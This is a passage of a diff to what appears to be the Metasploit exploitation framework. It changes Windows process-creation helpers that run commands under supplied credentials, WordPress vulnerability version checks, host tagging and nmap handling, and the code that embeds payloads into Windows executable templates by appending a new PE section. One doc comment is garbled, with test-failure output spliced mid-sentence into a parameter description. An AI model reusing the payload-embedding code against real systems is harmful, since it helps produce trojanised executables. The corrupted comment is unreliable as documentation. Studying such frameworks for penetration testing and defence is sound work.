|
||||||
|
'CREATE_UNICODE_ENVIRONMENT',
|
||||||
|
nil,
|
||||||
|
nil,
|
||||||
|
startup_info,
|
||||||
|
16)
|
||||||
|
if create_process['return']
|
||||||
|
pi = parse_process_information(create_process['lpProcessInformation'])
|
||||||
|
print_good("Process started successfully, PID: #{pi[:process_id]}")
|
||||||
|
else
|
||||||
|
print_error("Unable to create process, Error Code: #{create_process['GetLastError']} - #{create_process['ErrorMessage']}")
|
||||||
|
print_error("Try setting the DOMAIN or USER in the format: user@domain") if create_process['GetLastError'] == 1783 && domain.nil?
|
||||||
|
end
|
||||||
|
|
||||||
|
pi
|
||||||
|
end
|
||||||
|
|
||||||
|
#
|
||||||
|
# Call CreateProcessAsUser to start a process with the supplier
|
||||||
|
# user credentials
|
||||||
|
#
|
||||||
|
# Can be used by SYSTEM processes with the SE_INCREASE_QUOTA_NAME and
|
||||||
|
# SE_ASSIGNPRIMARYTOKEN_NAME privileges.
|
||||||
|
#
|
||||||
|
# This will normally error with 0xc000142 on later OS's (Vista+?) for
|
||||||
|
# gui apps but is ok for firing off cmd.exe...
|
||||||
|
#
|
||||||
|
# @param domain [String] The target user domain
|
||||||
|
# @param user [String] The target user
|
||||||
|
# @param password [String] The target user password
|
||||||
|
# @param application_name [String] Thn executableived :CloseHandle
|
||||||
|
# with unexpected arguments
|
||||||
|
# expected: ("testPhToken")
|
||||||
|
# got: (n be run, can be
|
||||||
|
# nil
|
||||||
|
# @param command_line [String] The command line or process arguments
|
||||||
|
#
|
||||||
|
# @return [Hash, nil] The values from the process_information struct
|
||||||
|
#
|
||||||
|
def create_process_as_user(domain, user, password, application_name, command_line)
|
||||||
|
return unless check_user_format(user, domain)
|
||||||
|
return unless check_command_length(application_name, command_line, 32000)
|
||||||
|
|
||||||
|
vprint_status("Executing LogonUserA...")
|
||||||
|
logon_user = session.railgun.advapi32.LogonUserA(user,
|
||||||
|
domain,
|
||||||
|
password,
|
||||||
|
'LOGON32_LOGON_INTERACTIVE',
|
||||||
|
'LOGON32_PROVIDER_DEFAULT',
|
||||||
|
4)
|
||||||
|
|
||||||
|
if logon_user['return']
|
||||||
|
begin
|
||||||
|
ph_token = logon_user['phToken']
|
||||||
|
vprint_status("Executing CreateProcessAsUserA...")
|
||||||
|
create_process = session.railgun.advapi32.CreateProcessAsUserA(ph_token,
|
||||||
|
application_name,
|
||||||
|
command_line,
|
||||||
|
nil,
|
||||||
|
nil,
|
||||||
|
false,
|
||||||
|
'CREATE_NEW_CONSOLE',
|
||||||
|
nil,
|
||||||
|
nil,
|
||||||
|
startup_info,
|
||||||
|
16)
|
||||||
|
|
||||||
|
if create_process['return']
|
||||||
|
begin
|
||||||
|
pi = parse_process_information(create_process['lpProcessInformation'])
|
||||||
|
ensure
|
||||||
|
session.railgun.kernel32.CloseHandle(pi[:process_handle])
|
||||||
|
session.railgun.kernel32.CloseHandle(pi[:thread_handle])
|
||||||
|
end
|
||||||
|
print_good("Process started successfully, PID: #{pi[:process_id]}")
|
||||||
|
else
|
||||||
|
print_error("Unable to create process, Error Code: #{create_process['GetLastError']} - #{create_process['ErrorMessage']}")
|
||||||
|
end
|
||||||
|
|
||||||
|
return pi
|
||||||
|
ensure
|
||||||
|
session.railgun.kernel32.CloseHandle(ph_token)
|
||||||
|
end
|
||||||
|
else
|
||||||
|
print_error("Unable to login the user, Error Code: #{logon_user['GetLastError']} - #{logon_user['ErrorMessage']}")
|
||||||
|
end
|
||||||
|
|
||||||
|
nil
|
||||||
|
end
|
||||||
|
|
||||||
|
#
|
||||||
|
# Parse the PROCESS_INFORMATION struct
|
||||||
|
#
|
||||||
|
# @param process_information [String] The PROCESS_INFORMATION value
|
||||||
|
# from the CreateProcess call
|
||||||
|
#
|
||||||
|
# @return [Hash] The values from the process_information struct
|
||||||
|
#
|
||||||
|
def parse_process_information(process_information)
|
||||||
|
fail ArgumentError, 'process_information is nil' if process_information.nil?
|
||||||
|
fail ArgumentError, 'process_information is empty string' if process_information.empty?
|
||||||
|
|
||||||
|
pi = process_information.unpack('VVVV')
|
||||||
|
{ :process_handle => pi[0], :thread_handle => pi[1], :process_id => pi[2], :thread_id => pi[3] }
|
||||||
|
end
|
||||||
|
|
||||||
|
#
|
||||||
|
# Checks the username and domain is in the correct format
|
||||||
|
# for the CreateProcess_x WinAPI calls.
|
||||||
|
#
|
||||||
|
# @param username [String] The target user
|
||||||
|
# @param domain [String] The target user domain
|
||||||
|
#
|
||||||
|
# @raise [ArgumentError] If the username format is incorrect
|
||||||
|
#
|
||||||
|
# @return [True] True if username is in the correct format
|
||||||
|
#
|
||||||
|
def check_user_format(username, domain)
|
||||||
|
fail ArgumentError, 'username is nil' if username.nil?
|
||||||
|
|
||||||
|
if domain && username.include?('@')
|
||||||
|
raise ArgumentError, 'Username is in UPN format (user@domain) so the domain parameter must be nil'
|
||||||
|
end
|
||||||
|
|
||||||
|
true
|
||||||
|
end
|
||||||
|
|
||||||
|
#
|
||||||
|
# Checks the command_length parameter is the correct length
|
||||||
|
# for the CreateProcess_x WinAPI calls depending on the presence
|
||||||
|
# of application_name
|
||||||
|
#
|
||||||
|
# @param application_name [String] lpApplicationName
|
||||||
|
# @param command_line [String] lpCommandLine
|
||||||
|
# @param max_length [Integer] The max command length of the respective
|
||||||
|
# CreateProcess function
|
||||||
|
#
|
||||||
|
# @raise [ArgumentError] If the command_line is too large
|
||||||
|
#
|
||||||
|
# @return [True] True if the command_line is within the correct bounds
|
||||||
|
#
|
||||||
|
def check_command_length(application_name, command_line, max_length)
|
||||||
|
fail ArgumentError, 'max_length is nil' if max_length.nil?
|
||||||
|
|
||||||
|
if application_name.nil? && command_line.nil?
|
||||||
|
raise ArgumentError, 'Both application_name and command_line are nil'
|
||||||
|
elsif command_line && command_line.length > max_length
|
||||||
|
raise ArgumentError, "Command line must be less than #{max_length} characters (Currently #{command_line.length})"
|
||||||
|
elsif application_name.nil? && command_line
|
||||||
|
cl = command_line.split(' ')
|
||||||
|
if cl[0] && cl[0].length > MAX_PATH
|
||||||
|
raise ArgumentError, "When application_name is nil the command line module must be less than MAX_PATH #{MAX_PATH} characters (Currently #{cl[0].length})"
|
||||||
|
end
|
||||||
|
end
|
||||||
|
|
||||||
|
true
|
||||||
|
end
|
||||||
end
|
end
|
||||||
|
|
|
@ -43,22 +43,42 @@ module Msf::HTTP::Wordpress::Version
|
||||||
# Checks a readme for a vulnerable version
|
# Checks a readme for a vulnerable version
|
||||||
#
|
#
|
||||||
# @param [String] plugin_name The name of the plugin
|
# @param [String] plugin_name The name of the plugin
|
||||||
# @param [String] fixed_version The version the vulnerability was fixed in
|
# @param [String] fixed_version Optional, the version the vulnerability was fixed in
|
||||||
# @param [String] vuln_introduced_version Optional, the version the vulnerability was introduced
|
# @param [String] vuln_introduced_version Optional, the version the vulnerability was introduced
|
||||||
#
|
#
|
||||||
# @return [ Msf::Exploit::CheckCode ]
|
# @return [ Msf::Exploit::CheckCode ]
|
||||||
def check_plugin_version_from_readme(plugin_name, fixed_version, vuln_introduced_version = nil)
|
def check_plugin_version_from_readme(plugin_name, fixed_version = nil, vuln_introduced_version = nil)
|
||||||
check_version_from_readme(:plugin, plugin_name, fixed_version, vuln_introduced_version)
|
check_version_from_readme(:plugin, plugin_name, fixed_version, vuln_introduced_version)
|
||||||
end
|
end
|
||||||
|
|
||||||
|
# Checks the style.css file for a vulnerable version
|
||||||
|
#
|
||||||
|
# @param [String] theme_name The name of the theme
|
||||||
|
# @param [String] fixed_version Optional, the version the vulnerability was fixed in
|
||||||
|
# @param [String] vuln_introduced_version Optional, the version the vulnerability was introduced
|
||||||
|
#
|
||||||
|
# @return [ Msf::Exploit::CheckCode ]
|
||||||
|
def check_theme_version_from_style(theme_name, fixed_version = nil, vuln_introduced_version = nil)
|
||||||
|
style_uri = normalize_uri(wordpress_url_themes, theme_name, 'style.css')
|
||||||
|
res = send_request_cgi(
|
||||||
|
'uri' => style_uri,
|
||||||
|
'method' => 'GET'
|
||||||
|
)
|
||||||
|
|
||||||
|
# No style.css file present
|
||||||
|
return Msf::Exploit::CheckCode::Unknown if res.nil? || res.code != 200
|
||||||
|
|
||||||
|
return extract_and_check_version(res.body.to_s, :style, :theme, fixed_version, vuln_introduced_version)
|
||||||
|
end
|
||||||
|
|
||||||
# Checks a readme for a vulnerable version
|
# Checks a readme for a vulnerable version
|
||||||
#
|
#
|
||||||
# @param [String] theme_name The name of the theme
|
# @param [String] theme_name The name of the theme
|
||||||
# @param [String] fixed_version The version the vulnerability was fixed in
|
# @param [String] fixed_version Optional, the version the vulnerability was fixed in
|
||||||
# @param [String] vuln_introduced_version Optional, the version the vulnerability was introduced
|
# @param [String] vuln_introduced_version Optional, the version the vulnerability was introduced
|
||||||
#
|
#
|
||||||
# @return [ Msf::Exploit::CheckCode ]
|
# @return [ Msf::Exploit::CheckCode ]
|
||||||
def check_theme_version_from_readme(theme_name, fixed_version, vuln_introduced_version = nil)
|
def check_theme_version_from_readme(theme_name, fixed_version = nil, vuln_introduced_version = nil)
|
||||||
check_version_from_readme(:theme, theme_name, fixed_version, vuln_introduced_version)
|
check_version_from_readme(:theme, theme_name, fixed_version, vuln_introduced_version)
|
||||||
end
|
end
|
||||||
|
|
||||||
|
@ -77,7 +97,7 @@ module Msf::HTTP::Wordpress::Version
|
||||||
nil
|
nil
|
||||||
end
|
end
|
||||||
|
|
||||||
def check_version_from_readme(type, name, fixed_version, vuln_introduced_version = nil)
|
def check_version_from_readme(type, name, fixed_version = nil, vuln_introduced_version = nil)
|
||||||
case type
|
case type
|
||||||
when :plugin
|
when :plugin
|
||||||
folder = 'plugins'
|
folder = 'plugins'
|
||||||
|
@ -99,21 +119,57 @@ module Msf::HTTP::Wordpress::Version
|
||||||
'uri' => readme_url,
|
'uri' => readme_url,
|
||||||
'method' => 'GET'
|
'method' => 'GET'
|
||||||
)
|
)
|
||||||
|
|
||||||
# no Readme.txt present
|
|
||||||
return Msf::Exploit::CheckCode::Unknown if res.nil? || res.code != 200
|
|
||||||
end
|
end
|
||||||
|
|
||||||
# try to extract version from readme
|
if res.nil? || res.code != 200
|
||||||
|
# No readme.txt or Readme.txt present for plugin
|
||||||
|
return Msf::Exploit::CheckCode::Unknown if type == :plugin
|
||||||
|
|
||||||
|
# Try again using the style.css file
|
||||||
|
return check_theme_version_from_style(name, fixed_version, vuln_introduced_version) if type == :theme
|
||||||
|
end
|
||||||
|
|
||||||
|
version_res = extract_and_check_version(res.body.to_s, :readme, type, fixed_version, vuln_introduced_version)
|
||||||
|
if version_res == Msf::Exploit::CheckCode::Detected && type == :theme
|
||||||
|
# If no version could be found in readme.txt for a theme, try style.css
|
||||||
|
return check_theme_version_from_style(name, fixed_version, vuln_introduced_version)
|
||||||
|
else
|
||||||
|
return version_res
|
||||||
|
end
|
||||||
|
end
|
||||||
|
|
||||||
|
def extract_and_check_version(body, type, item_type, fixed_version = nil, vuln_introduced_version = nil)
|
||||||
|
case type
|
||||||
|
when :readme
|
||||||
|
# Try to extract version from readme
|
||||||
# Example line:
|
# Example line:
|
||||||
# Stable tag: 2.6.6
|
# Stable tag: 2.6.6
|
||||||
version = res.body.to_s[/(?:stable tag|version):\s*(?!trunk)([0-9a-z.-]+)/i, 1]
|
version = body[/(?:stable tag|version):\s*(?!trunk)([0-9a-z.-]+)/i, 1]
|
||||||
|
when :style
|
||||||
|
# Try to extract version from style.css
|
||||||
|
# Example line:
|
||||||
|
# Version: 1.5.2
|
||||||
|
version = body[/(?:Version):\s*([0-9a-z.-]+)/i, 1]
|
||||||
|
else
|
||||||
|
fail("Unknown file type #{type}")
|
||||||
|
end
|
||||||
|
|
||||||
# readme present, but no version number
|
# Could not identify version number
|
||||||
return Msf::Exploit::CheckCode::Detected if version.nil?
|
return Msf::Exploit::CheckCode::Detected if version.nil?
|
||||||
|
|
||||||
vprint_status("#{peer} - Found version #{version} of the #{type}")
|
vprint_status("#{peer} - Found version #{version} of the #{item_type}")
|
||||||
|
|
||||||
|
if fixed_version.nil?
|
||||||
|
if vuln_introduced_version.nil?
|
||||||
|
# All versions are vulnerable
|
||||||
|
return Msf::Exploit::CheckCode::Appears
|
||||||
|
elsif Gem::Version.new(version) >= Gem::Version.new(vuln_introduced_version)
|
||||||
|
# Newer or equal to the version it was introduced
|
||||||
|
return Msf::Exploit::CheckCode::Appears
|
||||||
|
else
|
||||||
|
return Msf::Exploit::CheckCode::Safe
|
||||||
|
end
|
||||||
|
else
|
||||||
# Version older than fixed version
|
# Version older than fixed version
|
||||||
if Gem::Version.new(version) < Gem::Version.new(fixed_version)
|
if Gem::Version.new(version) < Gem::Version.new(fixed_version)
|
||||||
if vuln_introduced_version.nil?
|
if vuln_introduced_version.nil?
|
||||||
|
@ -131,4 +187,5 @@ module Msf::HTTP::Wordpress::Version
|
||||||
return Msf::Exploit::CheckCode::Safe
|
return Msf::Exploit::CheckCode::Safe
|
||||||
end
|
end
|
||||||
end
|
end
|
||||||
|
end
|
||||||
end
|
end
|
||||||
|
|
|
@ -2973,11 +2973,18 @@ class Core
|
||||||
res << addr
|
res << addr
|
||||||
end
|
end
|
||||||
when 'LHOST'
|
when 'LHOST'
|
||||||
rh = self.active_module.datastore["RHOST"]
|
rh = self.active_module.datastore['RHOST'] || framework.datastore['RHOST']
|
||||||
if rh and not rh.empty?
|
if rh and not rh.empty?
|
||||||
res << Rex::Socket.source_address(rh)
|
res << Rex::Socket.source_address(rh)
|
||||||
else
|
else
|
||||||
res << Rex::Socket.source_address()
|
res << Rex::Socket.source_address
|
||||||
|
# getifaddrs was introduced in 2.1.2
|
||||||
|
if Socket.respond_to?(:getifaddrs)
|
||||||
|
ifaddrs = Socket.getifaddrs.find_all { |ifaddr|
|
||||||
|
((ifaddr.flags & Socket::IFF_LOOPBACK) == 0) && ifaddr.addr.ip?
|
||||||
|
}
|
||||||
|
res += ifaddrs.map { |ifaddr| ifaddr.addr.ip_address }
|
||||||
|
end
|
||||||
end
|
end
|
||||||
else
|
else
|
||||||
end
|
end
|
||||||
|
|
|
@ -220,6 +220,11 @@ class Db
|
||||||
end
|
end
|
||||||
|
|
||||||
def change_host_info(rws, data)
|
def change_host_info(rws, data)
|
||||||
|
if rws == [nil]
|
||||||
|
print_error("In order to change the host info, you must provide a range of hosts")
|
||||||
|
return
|
||||||
|
end
|
||||||
|
|
||||||
rws.each do |rw|
|
rws.each do |rw|
|
||||||
rw.each do |ip|
|
rw.each do |ip|
|
||||||
id = framework.db.get_host(:address => ip).id
|
id = framework.db.get_host(:address => ip).id
|
||||||
|
@ -230,6 +235,11 @@ class Db
|
||||||
end
|
end
|
||||||
|
|
||||||
def change_host_name(rws, data)
|
def change_host_name(rws, data)
|
||||||
|
if rws == [nil]
|
||||||
|
print_error("In order to change the host name, you must provide a range of hosts")
|
||||||
|
return
|
||||||
|
end
|
||||||
|
|
||||||
rws.each do |rw|
|
rws.each do |rw|
|
||||||
rw.each do |ip|
|
rw.each do |ip|
|
||||||
id = framework.db.get_host(:address => ip).id
|
id = framework.db.get_host(:address => ip).id
|
||||||
|
@ -240,6 +250,11 @@ class Db
|
||||||
end
|
end
|
||||||
|
|
||||||
def change_host_comment(rws, data)
|
def change_host_comment(rws, data)
|
||||||
|
if rws == [nil]
|
||||||
|
print_error("In order to change the comment, you must provide a range of hosts")
|
||||||
|
return
|
||||||
|
end
|
||||||
|
|
||||||
rws.each do |rw|
|
rws.each do |rw|
|
||||||
rw.each do |ip|
|
rw.each do |ip|
|
||||||
id = framework.db.get_host(:address => ip).id
|
id = framework.db.get_host(:address => ip).id
|
||||||
|
@ -249,12 +264,59 @@ class Db
|
||||||
end
|
end
|
||||||
end
|
end
|
||||||
|
|
||||||
|
def add_host_tag(rws, tag_name)
|
||||||
|
if rws == [nil]
|
||||||
|
print_error("In order to add a tag, you must provide a range of hosts")
|
||||||
|
return
|
||||||
|
end
|
||||||
|
|
||||||
|
rws.each do |rw|
|
||||||
|
rw.each do |ip|
|
||||||
|
wspace = framework.db.workspace
|
||||||
|
host = framework.db.get_host(:workspace => wspace, :address => ip)
|
||||||
|
if host
|
||||||
|
possible_tags = Mdm::Tag.includes(:hosts).where("hosts.workspace_id = ? and hosts.address = ? and tags.name = ?", wspace.id, ip, tag_name).order("tags.id DESC").limit(1)
|
||||||
|
tag = (possible_tags.blank? ? Mdm::Tag.new : possible_tags.first)
|
||||||
|
tag.name = tag_name
|
||||||
|
tag.hosts = [host]
|
||||||
|
tag.save! if tag.changed?
|
||||||
|
end
|
||||||
|
end
|
||||||
|
end
|
||||||
|
end
|
||||||
|
|
||||||
|
def delete_host_tag(rws, tag_name)
|
||||||
|
wspace = framework.db.workspace
|
||||||
|
tag_ids = []
|
||||||
|
if rws == [nil]
|
||||||
|
found_tags = Mdm::Tag.includes(:hosts).where("hosts.workspace_id = ? and tags.name = ?", wspace.id, tag_name)
|
||||||
|
found_tags.each do |t|
|
||||||
|
tag_ids << t.id
|
||||||
|
end
|
||||||
|
else
|
||||||
|
rws.each do |rw|
|
||||||
|
rw.each do |ip|
|
||||||
|
found_tags = Mdm::Tag.includes(:hosts).where("hosts.workspace_id = ? and hosts.address = ? and tags.name = ?", wspace.id, ip, tag_name)
|
||||||
|
found_tags.each do |t|
|
||||||
|
tag_ids << t.id
|
||||||
|
end
|
||||||
|
end
|
||||||
|
end
|
||||||
|
end
|
||||||
|
|
||||||
|
tag_ids.each do |id|
|
||||||
|
tag = Mdm::Tag.find_by_id(id)
|
||||||
|
tag.hosts.delete
|
||||||
|
tag.destroy
|
||||||
|
end
|
||||||
|
end
|
||||||
|
|
||||||
def cmd_hosts(*args)
|
def cmd_hosts(*args)
|
||||||
return unless active?
|
return unless active?
|
||||||
::ActiveRecord::Base.connection_pool.with_connection {
|
::ActiveRecord::Base.connection_pool.with_connection {
|
||||||
onlyup = false
|
onlyup = false
|
||||||
set_rhosts = false
|
set_rhosts = false
|
||||||
mode = :search
|
mode = []
|
||||||
delete_count = 0
|
delete_count = 0
|
||||||
|
|
||||||
rhosts = []
|
rhosts = []
|
||||||
|
@ -263,7 +325,8 @@ class Db
|
||||||
|
|
||||||
output = nil
|
output = nil
|
||||||
default_columns = ::Mdm::Host.column_names.sort
|
default_columns = ::Mdm::Host.column_names.sort
|
||||||
virtual_columns = [ 'svcs', 'vulns', 'workspace' ]
|
default_columns << 'tags' # Special case
|
||||||
|
virtual_columns = [ 'svcs', 'vulns', 'workspace', 'tags' ]
|
||||||
|
|
||||||
col_search = [ 'address', 'mac', 'name', 'os_name', 'os_flavor', 'os_sp', 'purpose', 'info', 'comments']
|
col_search = [ 'address', 'mac', 'name', 'os_name', 'os_flavor', 'os_sp', 'purpose', 'info', 'comments']
|
||||||
|
|
||||||
|
@ -271,9 +334,9 @@ class Db
|
||||||
while (arg = args.shift)
|
while (arg = args.shift)
|
||||||
case arg
|
case arg
|
||||||
when '-a','--add'
|
when '-a','--add'
|
||||||
mode = :add
|
mode << :add
|
||||||
when '-d','--delete'
|
when '-d','--delete'
|
||||||
mode = :delete
|
mode << :delete
|
||||||
when '-c'
|
when '-c'
|
||||||
list = args.shift
|
list = args.shift
|
||||||
if(!list)
|
if(!list)
|
||||||
|
@ -297,14 +360,17 @@ class Db
|
||||||
when '-S', '--search'
|
when '-S', '--search'
|
||||||
search_term = /#{args.shift}/nmi
|
search_term = /#{args.shift}/nmi
|
||||||
when '-i', '--info'
|
when '-i', '--info'
|
||||||
mode = :new_info
|
mode << :new_info
|
||||||
info_data = args.shift
|
info_data = args.shift
|
||||||
when '-n', '--name'
|
when '-n', '--name'
|
||||||
mode = :new_name
|
mode << :new_name
|
||||||
name_data = args.shift
|
name_data = args.shift
|
||||||
when '-m', '--comment'
|
when '-m', '--comment'
|
||||||
mode = :new_comment
|
mode << :new_comment
|
||||||
comment_data = args.shift
|
comment_data = args.shift
|
||||||
|
when '-t', '--tag'
|
||||||
|
mode << :tag
|
||||||
|
tag_name = args.shift
|
||||||
when '-h','--help'
|
when '-h','--help'
|
||||||
print_line "Usage: hosts [ options ] [addr1 addr2 ...]"
|
print_line "Usage: hosts [ options ] [addr1 addr2 ...]"
|
||||||
print_line
|
print_line
|
||||||
|
@ -320,6 +386,7 @@ class Db
|
||||||
print_line " -i,--info Change the info of a host"
|
print_line " -i,--info Change the info of a host"
|
||||||
print_line " -n,--name Change the name of a host"
|
print_line " -n,--name Change the name of a host"
|
||||||
print_line " -m,--comment Change the comment of a host"
|
print_line " -m,--comment Change the comment of a host"
|
||||||
|
print_line " -t,--tag Add or specify a tag to a range of hosts"
|
||||||
print_line
|
print_line
|
||||||
print_line "Available columns: #{default_columns.join(", ")}"
|
print_line "Available columns: #{default_columns.join(", ")}"
|
||||||
print_line
|
print_line
|
||||||
|
@ -338,7 +405,9 @@ class Db
|
||||||
col_names = default_columns + virtual_columns
|
col_names = default_columns + virtual_columns
|
||||||
end
|
end
|
||||||
|
|
||||||
if mode == :add
|
mode << :search if mode.empty?
|
||||||
|
|
||||||
|
if mode == [:add]
|
||||||
host_ranges.each do |range|
|
host_ranges.each do |range|
|
||||||
range.each do |address|
|
range.each do |address|
|
||||||
host = framework.db.find_or_create_host(:host => address)
|
host = framework.db.find_or_create_host(:host => address)
|
||||||
|
@ -358,23 +427,41 @@ class Db
|
||||||
# Sentinal value meaning all
|
# Sentinal value meaning all
|
||||||
host_ranges.push(nil) if host_ranges.empty?
|
host_ranges.push(nil) if host_ranges.empty?
|
||||||
|
|
||||||
case mode
|
case
|
||||||
when :new_info
|
when mode == [:new_info]
|
||||||
change_host_info(host_ranges, info_data)
|
change_host_info(host_ranges, info_data)
|
||||||
return
|
return
|
||||||
when :new_name
|
when mode == [:new_name]
|
||||||
change_host_name(host_ranges, name_data)
|
change_host_name(host_ranges, name_data)
|
||||||
return
|
return
|
||||||
when :new_comment
|
when mode == [:new_comment]
|
||||||
change_host_comment(host_ranges, comment_data)
|
change_host_comment(host_ranges, comment_data)
|
||||||
return
|
return
|
||||||
|
when mode == [:tag]
|
||||||
|
begin
|
||||||
|
add_host_tag(host_ranges, tag_name)
|
||||||
|
rescue ::Exception => e
|
||||||
|
if e.message.include?('Validation failed')
|
||||||
|
print_error(e.message)
|
||||||
|
else
|
||||||
|
raise e
|
||||||
|
end
|
||||||
|
end
|
||||||
|
return
|
||||||
|
when mode.include?(:tag) && mode.include?(:delete)
|
||||||
|
delete_host_tag(host_ranges, tag_name)
|
||||||
|
return
|
||||||
end
|
end
|
||||||
|
|
||||||
each_host_range_chunk(host_ranges) do |host_search|
|
each_host_range_chunk(host_ranges) do |host_search|
|
||||||
framework.db.hosts(framework.db.workspace, onlyup, host_search).each do |host|
|
framework.db.hosts(framework.db.workspace, onlyup, host_search).each do |host|
|
||||||
if search_term
|
if search_term
|
||||||
next unless host.attribute_names.any? { |a| host[a.intern].to_s.match(search_term) }
|
next unless (
|
||||||
|
host.attribute_names.any? { |a| host[a.intern].to_s.match(search_term) } ||
|
||||||
|
!Mdm::Tag.includes(:hosts).where("hosts.workspace_id = ? and hosts.address = ? and tags.name = ?", framework.db.workspace.id, host.address, search_term.source).order("tags.id DESC").empty?
|
||||||
|
)
|
||||||
end
|
end
|
||||||
|
|
||||||
columns = col_names.map do |n|
|
columns = col_names.map do |n|
|
||||||
# Deal with the special cases
|
# Deal with the special cases
|
||||||
if virtual_columns.include?(n)
|
if virtual_columns.include?(n)
|
||||||
|
@ -382,6 +469,11 @@ class Db
|
||||||
when "svcs"; host.services.length
|
when "svcs"; host.services.length
|
||||||
when "vulns"; host.vulns.length
|
when "vulns"; host.vulns.length
|
||||||
when "workspace"; host.workspace.name
|
when "workspace"; host.workspace.name
|
||||||
|
when "tags"
|
||||||
|
found_tags = Mdm::Tag.includes(:hosts).where("hosts.workspace_id = ? and hosts.address = ?", framework.db.workspace.id, host.address).order("tags.id DESC")
|
||||||
|
tag_names = []
|
||||||
|
found_tags.each { |t| tag_names << t.name }
|
||||||
|
found_tags * ", "
|
||||||
end
|
end
|
||||||
# Otherwise, it's just an attribute
|
# Otherwise, it's just an attribute
|
||||||
else
|
else
|
||||||
|
@ -394,7 +486,7 @@ class Db
|
||||||
addr = (host.scope ? host.address + '%' + host.scope : host.address )
|
addr = (host.scope ? host.address + '%' + host.scope : host.address )
|
||||||
rhosts << addr
|
rhosts << addr
|
||||||
end
|
end
|
||||||
if mode == :delete
|
if mode == [:delete]
|
||||||
host.destroy
|
host.destroy
|
||||||
delete_count += 1
|
delete_count += 1
|
||||||
end
|
end
|
||||||
|
@ -1647,11 +1739,18 @@ class Db
|
||||||
print_status("Usage: db_nmap [nmap options]")
|
print_status("Usage: db_nmap [nmap options]")
|
||||||
return
|
return
|
||||||
end
|
end
|
||||||
|
|
||||||
save = false
|
save = false
|
||||||
if args.include?("save")
|
arguments = []
|
||||||
|
while (arg = args.shift)
|
||||||
|
case arg
|
||||||
|
when 'save'
|
||||||
save = active?
|
save = active?
|
||||||
args.delete("save")
|
when '--help', '-h'
|
||||||
|
cmd_db_nmap_help
|
||||||
|
return
|
||||||
|
else
|
||||||
|
arguments << arg
|
||||||
|
end
|
||||||
end
|
end
|
||||||
|
|
||||||
nmap =
|
nmap =
|
||||||
|
@ -1674,15 +1773,15 @@ class Db
|
||||||
# Custom function needed because cygpath breaks on 8.3 dirs
|
# Custom function needed because cygpath breaks on 8.3 dirs
|
||||||
tout = Rex::Compat.cygwin_to_win32(fd.path)
|
tout = Rex::Compat.cygwin_to_win32(fd.path)
|
||||||
fout = Rex::Compat.cygwin_to_win32(fo.path)
|
fout = Rex::Compat.cygwin_to_win32(fo.path)
|
||||||
args.push('-oX', tout)
|
arguments.push('-oX', tout)
|
||||||
args.push('-oN', fout)
|
arguments.push('-oN', fout)
|
||||||
else
|
else
|
||||||
args.push('-oX', fd.path)
|
arguments.push('-oX', fd.path)
|
||||||
args.push('-oN', fo.path)
|
arguments.push('-oN', fo.path)
|
||||||
end
|
end
|
||||||
|
|
||||||
begin
|
begin
|
||||||
nmap_pipe = ::Open3::popen3([nmap, "nmap"], *args)
|
nmap_pipe = ::Open3::popen3([nmap, 'nmap'], *arguments)
|
||||||
temp_nmap_threads = []
|
temp_nmap_threads = []
|
||||||
temp_nmap_threads << framework.threads.spawn("db_nmap-Stdout", false, nmap_pipe[1]) do |np_1|
|
temp_nmap_threads << framework.threads.spawn("db_nmap-Stdout", false, nmap_pipe[1]) do |np_1|
|
||||||
np_1.each_line do |nmap_out|
|
np_1.each_line do |nmap_out|
|
||||||
|
@ -1715,6 +1814,45 @@ class Db
|
||||||
}
|
}
|
||||||
end
|
end
|
||||||
|
|
||||||
|
def cmd_db_nmap_help
|
||||||
|
nmap =
|
||||||
|
Rex::FileUtils.find_full_path('nmap') ||
|
||||||
|
Rex::FileUtils.find_full_path('nmap.exe')
|
||||||
|
|
||||||
|
stdout, stderr = Open3.capture3([nmap, 'nmap'], '--help')
|
||||||
|
|
||||||
|
stdout.each_line do |out_line|
|
||||||
|
next if out_line.strip.empty?
|
||||||
|
print_status(out_line.strip)
|
||||||
|
end
|
||||||
|
|
||||||
|
stderr.each_line do |err_line|
|
||||||
|
next if err_line.strip.empty?
|
||||||
|
print_error(err_line.strip)
|
||||||
|
end
|
||||||
|
end
|
||||||
|
|
||||||
|
def cmd_db_nmap_tabs(str, words)
|
||||||
|
nmap =
|
||||||
|
Rex::FileUtils.find_full_path('nmap') ||
|
||||||
|
Rex::FileUtils.find_full_path('nmap.exe')
|
||||||
|
|
||||||
|
stdout, stderr = Open3.capture3([nmap, 'nmap'], '--help')
|
||||||
|
tabs = []
|
||||||
|
stdout.each_line do |out_line|
|
||||||
|
if out_line.strip.starts_with?('-')
|
||||||
|
tabs.push(out_line.strip.split(':').first)
|
||||||
|
end
|
||||||
|
end
|
||||||
|
|
||||||
|
stderr.each_line do |err_line|
|
||||||
|
next if err_line.strip.empty?
|
||||||
|
print_error(err_line.strip)
|
||||||
|
end
|
||||||
|
|
||||||
|
tabs
|
||||||
|
end
|
||||||
|
|
||||||
#
|
#
|
||||||
# Store some locally-generated data as a file, similiar to store_loot.
|
# Store some locally-generated data as a file, similiar to store_loot.
|
||||||
#
|
#
|
||||||
|
|
|
@ -18,6 +18,7 @@ require 'rex/zip'
|
||||||
require 'metasm'
|
require 'metasm'
|
||||||
require 'digest/sha1'
|
require 'digest/sha1'
|
||||||
require 'msf/core/exe/segment_injector'
|
require 'msf/core/exe/segment_injector'
|
||||||
|
require 'msf/core/exe/segment_appender'
|
||||||
|
|
||||||
##
|
##
|
||||||
#
|
#
|
||||||
|
@ -205,12 +206,15 @@ require 'msf/core/exe/segment_injector'
|
||||||
end
|
end
|
||||||
|
|
||||||
p_length = payload.length + 256
|
p_length = payload.length + 256
|
||||||
|
|
||||||
|
# If the .text section is too small, append a new section instead
|
||||||
if text.size < p_length
|
if text.size < p_length
|
||||||
fname = ::File.basename(opts[:template])
|
appender = Msf::Exe::SegmentAppender.new({
|
||||||
msg = "The .text section for '#{fname}' is too small. "
|
:payload => code,
|
||||||
msg << "Minimum is #{p_length.to_s} bytes, your .text section is " +
|
:template => opts[:template],
|
||||||
"#{text.size.to_s} bytes"
|
:arch => :x86
|
||||||
raise RuntimeError, msg
|
})
|
||||||
|
return appender.generate_pe
|
||||||
end
|
end
|
||||||
|
|
||||||
# Store some useful offsets
|
# Store some useful offsets
|
||||||
|
@ -506,7 +510,8 @@ require 'msf/core/exe/segment_injector'
|
||||||
def self.to_win64pe(framework, code, opts = {})
|
def self.to_win64pe(framework, code, opts = {})
|
||||||
# Allow the user to specify their own EXE template
|
# Allow the user to specify their own EXE template
|
||||||
set_template_default(opts, "template_x64_windows.exe")
|
set_template_default(opts, "template_x64_windows.exe")
|
||||||
